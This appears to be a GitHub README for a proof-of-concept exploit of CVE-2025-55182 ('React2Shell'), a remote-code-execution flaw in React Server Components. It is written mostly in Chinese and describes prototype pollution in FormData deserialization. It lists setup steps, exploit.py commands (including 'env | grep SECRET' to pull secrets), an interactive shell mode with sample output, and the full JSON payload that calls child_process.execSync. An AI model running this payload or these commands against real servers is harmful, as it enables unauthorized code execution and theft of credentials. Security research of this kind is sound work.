joaovicdev/exploit-cve-2025-55182Proof-of-concept exploit for CVE-2025-55182 (React2Shell), a critical RCE vulnerability in React Server Components via prototype pollution. Includes interactive and command-line exploitation modes.
React Server Components 不安全地反序列化 FormData。特制的多部分字段会触发原型污染，并通过 child_process.execSync 执行任意代码。
npm install
pip3 install requests
npm run dev
应用程序运行于：http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
命令结果:
your-username
============================================================
> pwd
命令结果:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
显示完整的载荷结构和服务器响应
作者：Guaxinim | 网络安全研究